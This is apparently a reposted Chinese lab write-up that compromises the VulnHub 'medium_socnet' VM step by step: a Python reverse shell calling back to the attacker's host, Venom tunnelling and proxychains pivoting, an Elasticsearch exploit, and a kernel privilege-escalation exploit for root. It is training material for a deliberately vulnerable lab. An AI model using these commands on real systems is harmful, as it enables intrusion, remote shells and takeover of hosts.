打靶記錄——靶機medium_socnet

靶機下載地址

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
image.png

打靶過程

由于靶機和我的Kali都處于同一個網段,所以使用arpscan二次發現技術來識別目標主機的IP地址

arpscan -l

image.png
除了192.168.174.133,其他IP都是我VMware虛擬機正常運行會使用到的IP
那么拿到IP之后,對IP進行全端口的掃描,看看有哪些端口開起了,有哪些服務存在

nmap -p- 192.168.174.133

image.png
再進行一下服務版本的探測

nmap -p22,5000 -sV 192.168.174.133

image.png


在 nmap 中,-sV 參數是用來進行服務版本檢測的。當你使用 -sV 參數掃描目標主機時,nmap 會嘗試探測主機上運行的各種服務及其版本信息。這對于識別目標系統中運行的具體服務版本是非常有用的,可以幫助確定是否存在已知的漏洞或安全問題。

使用 -sV 的主要功能和工作原理:

  1. 服務版本檢測
    • nmap 使用 -sV 參數時,會發送特定的探測請求到目標主機的開放端口,通過分析目標主機對請求的響應來判斷具體的服務及其版本信息。
  2. 精準信息
    • 相比于僅僅檢測端口是否開放(使用 -sS 或 -sT 等參數進行端口掃描),-sV 參數能夠提供更詳細和精準的信息,包括服務的具體版本號。
  3. 識別漏洞
    • 通過得知具體的服務版本號,可以幫助安全專家或管理員快速判斷服務是否存在已知漏洞或安全問題,進而采取相應的安全措施或修復措施。
  4. 使用示例
    • 基本用法:nmap -sV
    • 指定端口范圍:nmap -sV -p
    • 針對多個目標:nmap -sV …
  5. 注意事項
    • -sV 參數會增加掃描時間和網絡流量,因為它需要發送多個探測請求并等待響應。對于大型網絡或復雜的目標系統,可能需要更多時間來完成掃描。
    • 某些防火墻或入侵檢測系統可能會檢測到 nmap 的服務版本檢測行為,并采取防御措施。

總之,-sV 參數使得 nmap 在掃描過程中可以提供更多有關目標主機上服務的詳細信息,有助于評估系統的安全性和配置狀態。


發現Ubantu和python
既然是Http服務,那么我們就訪問一個Web界面
image.png
沒有發現有注入點,那么我們嘗試一下目錄掃描

dirsearch -u "http://192.168.174.133:5000/"

image.png
發現了后臺地址,發現可以進行代碼執行,放到exec()函數中執行的
image.png
那么我們可以進行一個反彈shell,利用python
先在kali中監聽端口

nc -lvvnp 6666

然后在網站中執行反彈shell的代碼
image.png

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

成功反彈shell
image.png
但是發現可能是在docker容器里面的,因為有Dockerfile文件存在。
如果還不確定是否是docker容器,有兩個方法
1、查看根目錄下是否存在 .dockerenv 這個文件

 ls /.dockerenv

image.png
如果存在 .dockerenv 這個文件,那么90%說明這就是docker系統
2、查看 /proc/1/cgroup

cat /proc/1/cgroup

image.png
如果出現這些內容,那么100%是一個docker容器
因為Linux系統啟動之后,1這個PID就代表著這個系統上的初始化進程的ID,當初始化ID的cgroup文件包含著明確的docker鏡像主機的這些信息的話,那就100%是一個docker容器

那么先查看一下當前的docker的IP地址
image.png

172.17.0.3/16

那我們把docker當成內網,然后把內網網段的每一個IP都ping一遍,看看有沒有回包
用一個腳本來測試

for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done

這段代碼是一個簡單的 Bash 腳本,用于循環執行 ping 命令,以便對一組 IP 地址進行測試。讓我們逐步解釋這段代碼的每個部分:

  1. for 循環
bashfor i in $(seq 1 10);
  • for i in … 表示開始一個循環,其中 i 是循環變量。
  • ( s e q 110 ) 是一個命令替換,它生成從 1 到 10 的整數序列。因此, (seq 1 10) 是一個命令替換,它生成從 1 到 10 的整數序列。因此, (seq110)是一個命令替換,它生成從110的整數序列。因此,i 將會依次取值 1 到 10。
  1. ping 命令
bashping -c 1 172.17.0.$i;
  • ping 命令用于向指定的主機發送 ICMP 回顯請求,以測試主機的可達性和響應時間。
  • -c 1 參數表示發送一個 ICMP 請求,即每個主機只發送一個請求。
  • 172.17.0.$i 是一個帶有變量的 IP 地址,其中 $i 是 for 循環中的當前值,用來替換為具體的 IP 地址,如 172.17.0.1 到 172.17.0.10。
  1. 循環體
    • 整個 for 循環的主體是 ping -c 1 172.17.0.$i;,這意味著會對序列中的每個 IP 地址執行一次 ping 操作。

執行過程:

  • 當腳本執行時,$i 會依次取值 1 到 10。
  • 對于每個循環迭代,ping 命令會發送一個 ICMP 請求到指定的 IP 地址(例如 172.17.0.1 到 172.17.0.10)。
  • 如果目標主機響應,則輸出顯示主機的響應時間和狀態信息;如果沒有響應,則顯示主機不可達或超時的信息。

注意事項:

  • 權限:執行 ping 命令通常需要足夠的權限,通常是 root 或者具有相應網絡權限的用戶。
  • 網絡設置:確保你的網絡設置允許 ICMP 請求,否則 ping 命令可能無法正常工作。
  • 循環范圍:代碼中使用的 IP 地址范圍和具體地址可能會根據實際情況和網絡配置而變化。

這段代碼適合于快速測試一組 IP 地址是否可達,并獲得它們的基本網絡信息。


image.png
發現三個IP回包了

接下來要使用內網穿透技術,把我的Kali到它內網的這個路由給打通
推薦使用Venom v1.1.0,下載地址https://github.com/Dliv3/Venom/releases
image.png
下載后放到Kali中解壓
image.png
我們現在要做的是把客戶端程序,先傳輸拷貝到目標系統上,然后再通過Kali
上的服務器端程序,在他們之間建立一條隧道
那么現在Kali中開啟服務端,監聽9999端口,等待容器系統和我的Kali建立反彈的連接
image.png
然后目標服務器需要下載我的客戶端程序
我先通過python開啟一個http服務,然后讓目標服務器直接通過Wegt來下載客戶端程序

python3 -m http.server 80

image.png
然后再目標服務器上執行命令

wget http://192.168.174.128/agent_linux_x64

image.png

chmod +x agent_linux_x64    //賦予執行權限
./agent_linux_x64 -rhost 192.168.174.128 -rport 9999      // 連接Kali

image.png
Kali發現了一個已連接的節點

goto 1
socks 1080    //啟動socks代理

image.png
為了讓Kali上的所用工具都可以通過代理去掃描內網的所有網段的話,那必須使用另外一個工具 proxychains4 ,可以掛載我們當前的代理

vim /etc/proxychains4.conf

image.png
Nmap掃描一下端口,當然前提是要掛上proxychains

proxychains nmap -Pn -sT 172.17.0.1
  1. -Pn 參數
    • -Pn 參數告訴 nmap 不要進行主機發現(即不要進行Ping測試),而是假設目標主機是活躍的。這是一種繞過目標主機可能配置的防火墻或過濾規則的方法,因為有些網絡設備會屏蔽 Ping 請求。
  2. -sT 參數
    • -sT 參數指定了使用 TCP 連接掃描(也稱為全連接掃描)。在 TCP 連接掃描中,nmap 會嘗試建立一個完全的 TCP 連接,以判斷目標端口的狀態(開放、關閉、過濾)。

image.png
再看一下版本

proxychains nmap -Pn -sT -sV 172.17.0.1

proxychains 是一個工具,它允許用戶將其他命令通過代理服務器執行,而不是直接連接到目標主機。

  • proxychains 是一個用于代理網絡連接的工具。它能夠劫持其他命令的網絡連接,將其通過配置好的代理服務器轉發出去,從而達到隱藏真實 IP 地址或繞過網絡防火墻的目的。

image.png
發現就是我們原來的那臺,只不過172.17.0.1是面向內網容器的IP
那么我們再掃描一下172.17.0.2這個IP

proxychains nmap -Pn -sT -sV 172.17.0.2

image.png
發現是Elasticsearch,我們可以利用一下漏洞

searchsploit Elasticsearch

image.png
那我們把漏洞利用代碼復制到當前目錄上查看一下

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .

發現是Python2的
image.png
提示需要加上 target 參數
image.png

proxychains python2 36337.py 172.17.0.2

image.png

解密密碼https://www.somd5.com/
image.png
SSH登錄

proxychains ssh john@172.17.0.1

image.png
看一下內核
image.png

searchsploit Linux 3.13.0 Ubuntu

看一下可利用的漏洞
image.png
先弄下來看看代碼

cp /usr/share/exploitdb/exploits/linux/local/37292.c .

image.png
發現需要gcc來編譯,但是目標靶機上面沒有gcc
先找到二進制共享庫文件ofs-lib.so

locate ofs-lib.so

image.png
然后我們直接在Kali什么編譯好之后再發過去,然后將這段代碼給注釋掉
image.png

gcc -o exp 37292.c

有報錯但是不影響
image.png
然后把ofs-lib.so文件也拷貝過來

/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so

image.png
開啟Http服務

python3 -m http.server 80

image.png

john@socnet:~$ wget http://192.168.174.128/exp
john@socnet:~$ wget http://192.168.174.128/ofs-lib.so

image.png
下載完成后將他們放到/tmp臨時目錄下,這個目錄權限大一點
前面也有說在/tmp目錄下調用,這樣可以減少報錯
image.png

mv * /tmp

image.png

chmod +x exp
./exp

image.png
獲得root權限!

總結

  1. 先進行主機發現,然后針對發現的主機進行端口掃描以及服務的掃描
  2. 掃描完之后發現靶機在5000端口的一個Web應用,嘗試訪問Web應用
  3. 在Web應用下,我們未獲得已知漏洞
  4. 通過dirsearch在5000端口發現了后臺路徑
  5. 在后臺地址發現了遠程代碼執行漏洞,利用這個漏洞,獲取到了一個目標系統的反彈shell
  6. 獲得shell之后,發現自己被困在一個docker的容器系統里面,基于容器系統,對內網的IP地址段進行發現
  7. 識別除了兩個內網主機中的IP地址,一個是172.17.0.1,一個是172.17.0.2
  8. 然后掛上代理進行內網穿透,對這兩個地址進行了全端口的掃描,在掃描過程中發現0.2地址上面開啟了9200端口
  9. 而9200端口是Elasticsearch默認的服務監聽端口,所以嘗試對Elasticsearch進行漏洞的利用和攻擊,結果成功拿下了172.17.0.2這臺主機
  10. 在這臺主機里繼續進行信息收集,我們發現了一個password的文件,在里面收獲了john這個賬號的密碼,密碼是需要進行破解的
  11. 拿到賬號密碼之后嘗試對內網所有開啟22端口的主機進行登錄,最終成功登錄目標的靶機系統
  12. 登錄后沒有root權限,需要進行本地提權
  13. 發現是比較老的操作系統,內核版本比較老,所以使用針對內核漏洞進行提權的代碼
  14. 但是漏洞利用代碼又沒有辦法在目標系統上進行GCC的編譯,所以不得不修改代碼重新編譯
  15. 把編譯之后的漏洞利用代碼和二進制的庫文件一起傳輸到目標服務器上
  16. 最終在目標服務器上成功利用漏洞進行本地提權,拿到root權限

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/38148.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/38148.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/38148.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【Spring Boot】認識 JPA 的接口

認識 JPA 的接口 1.JPA 接口 JpaRepository2.分頁排序接口 PagingAndSortingRepository3.數據操作接口 CrudRepository4.分頁接口 Pageable 和 Page5.排序類 Sort JPA 提供了操作數據庫的接口。在開發過程中繼承和使用這些接口,可簡化現有的持久化開發工作。可以使 …

springboot學習,如何用redission實現分布式鎖

目錄 一、springboot框架介紹二、redission是什么三、什么是分布式鎖四、如何用redission實現分布式鎖 一、springboot框架介紹 Spring Boot是一個開源的Java框架,由Pivotal團隊(現為VMware的一部分)于2013年推出。它旨在簡化Spring應用程序…

大數據面試題之Spark(1)

目錄 Spark的任務執行流程 Spark的運行流程 Spark的作業運行流程是怎么樣的? Spark的特點 Spark源碼中的任務調度 Spark作業調度 Spark的架構 Spark的使用場景 Spark on standalone模型、YARN架構模型(畫架構圖) Spark的yarn-cluster涉及的參數有哪些? Spark提交jo…

橫穿自動駕駛

如果有一條線,可以穿起來所有自動駕駛的核心模塊,那么我感覺它就是最優化,選擇優化變量、構造優化問題、求解優化問題,這幾個步驟貫穿了自動駕駛的始終。 先從我的自身接觸順序寫起。最開始做個一點深度學習,那還是20…

編碼大模型系列:Meta創新的“代碼編譯優化”的LLM

魯班號導讀正式上線。移步“魯班秘笈”,查閱更多內容。 大型語言模型 (LLM) 已在各種軟件工程和編碼任務中展現出卓越的能力。然而,它們在代碼和編譯器優化領域的應用仍未得到充分探索。訓練LLM需要大量資源,需要大量的 GPU時間和大量的數據…

23、架構-服務網格之透明通信涅槃

通信成本 在現代分布式系統中,服務之間的通信是不可避免的。然而,這種通信帶來了額外的復雜性和成本。傳統的通信方式如RPC(Remote Procedure Call)和REST(Representational State Transfer),雖…

Hive 實操案例五:統計每個類別中 Top10 的視頻熱度

一、數據表結構 視頻表 t_video 字段注釋描述videoId視頻唯一 id(String)11 位字符串uploader視頻上傳者(String)上傳視頻的用戶名 Stringage視頻年齡(int)視頻在平臺上的整數天category視頻類別&#xff0…

一個合理的前端應用文件結構

在大型應用中,最關鍵且最具挑戰性的方面之一就是擁有一個良好且合理的文件結構。在考慮通過微前端將代碼庫拆分成多個應用之前,可以遵循一些步驟來改善項目級別的架構,并在您考慮這一路徑時使過渡更容易。 我們的目標是應用某種模塊化方法&am…

MSPM0G3507——定時器例程講解4——timx_timer_mode_periodic

以下示例以周期模式配置TimerG并切換LED。周期從500ms開始,每次切換減少50ms,直到周期為100ms,然后重復。設備在等待中斷時保持待機模式 #include "ti_msp_dl_config.h"/* ((32KHz / (321)) * 0.5s) 45 - 1 495 due to N1 ticks …

MySQL入門學習-MySQL日志.錯誤日志

錯誤日志是 MySQL 中一種記錄服務器運行過程中錯誤信息的日志文件。它可以幫助管理員或開發人員快速定位和解決問題。 一、MySQL 中的錯誤日志具有以下特點: - 記錄錯誤信息: 錯誤日志主要記錄服務器在運行過程中發生的錯誤信息,包括但不限…

【算法 之選擇排序 原理及案例】

選擇排序(Selection Sort) 是一種簡單直觀的排序算法。它的工作原理是:首先在未排序序列中找到最小(或最大)元素,存放到排序序列的起始位置,然后,再從剩余未排序元素中繼續尋找最小…

Memcached的API使用指南:常用操作與示例代碼

Memcached 是一個高性能、分布式內存對象緩存系統,常用于加速動態Web應用程序,減輕數據庫負載。本文將介紹如何使用Memcached的API進行常用操作,并提供示例代碼。 1. 安裝Memcached客戶端庫 在使用Memcached之前,需要安裝相應的…

Qt中用QLabel創建狀態燈

首先ui設計中分別創建了4個大燈和4個小燈。 編輯.h文件 #ifndef LED_H #define LED_H#include <QWidget> #include <QLabel>QT_BEGIN_NAMESPACE namespace Ui { class Led; } QT_END_NAMESPACEclass Led : public QWidget {Q_OBJECTpublic:Led(QWidget *parent n…

Spring MVC數據綁定和響應——復雜數據綁定(四)JSON數據綁定

一、消息轉換器—HttpMessageConverter接口 客戶端不同的請求&#xff0c;HttpServletRequest中數據的MediaType可能會不同&#xff0c;如果想將HttpServletRequest中的數據轉換成指定對象&#xff0c;或者將對象轉換成指定格式的數據&#xff0c;就需要使用對應的消息轉換器來…

服務器硬件以及RAID配置

目錄 一、RAID磁盤陣列原理&#xff08;嘎嘎重要&#xff09; 1、RAID的概述 2、常用的RAID 2.1、RAID 0 2.2、RAID 1 2.3、RAID 5 2.5、RAID 10 3、陣列卡介紹 二、建立軟件RAID磁盤陣列 1、添加硬盤 2、使用fdisk分區&#xff0c;類型為fd 3、mdata命令使用參數 …

安全與加密常識(3)什么是數字簽名和數字證書

文章目錄 數字簽名工作原理關鍵特點應用實例 數字證書數字證書和數字簽名趣味實例 數字簽名 數字簽名是一種通過密碼運算生成的數據&#xff0c;用于驗證信息的完整性和來源&#xff0c;確保數據在傳輸過程中未被篡改&#xff0c;同時提供發送者的身份認證和防止抵賴的功能。它…

Qt: QPushButton 按鈕實現 上圖標下文字

效果如下&#xff1a; 實現有如下幾種方式&#xff1a; 1. 使用 QPushButton 設置 setStyleSheet 例&#xff1a; ui->recorder->setStyleSheet("QPushButton{"\"border: 1px solid #00d2ff; "\"min-height: 60px; "\"col…

python多繼承的3C算法

python多繼承的3C算法 有很多地方都說python多繼承的繼承順序&#xff0c;是按照深度遍歷的方式&#xff0c;其實python多繼承順序的算法&#xff0c;不是嚴格意義上的深度遍歷&#xff0c;而是基于深度遍歷基礎上優化出一種叫3C算法 python多繼承的深度遍歷 class C:def ru…

MySQL高級-MVCC-原理分析(RR級別)

文章目錄 1、RR隔離級別下&#xff0c;僅在事務中第一次執行快照讀時生成ReadView&#xff0c;后續復用該ReadView2、總結 1、RR隔離級別下&#xff0c;僅在事務中第一次執行快照讀時生成ReadView&#xff0c;后續復用該ReadView 而RR 是可重復讀&#xff0c;在一個事務中&…

Django 配置靜態文件

1&#xff0c;DebugTrue 調試模式 Test/Test/settings.py DEBUG True...STATICFILES_DIRS [os.path.join(BASE_DIR, static),] STATIC_URL /static/ 1.1 創建靜態文件 Test/static/6/images/Sni1.png 1.2 添加視圖函數 Test/app6/views.py from django.shortcuts impor…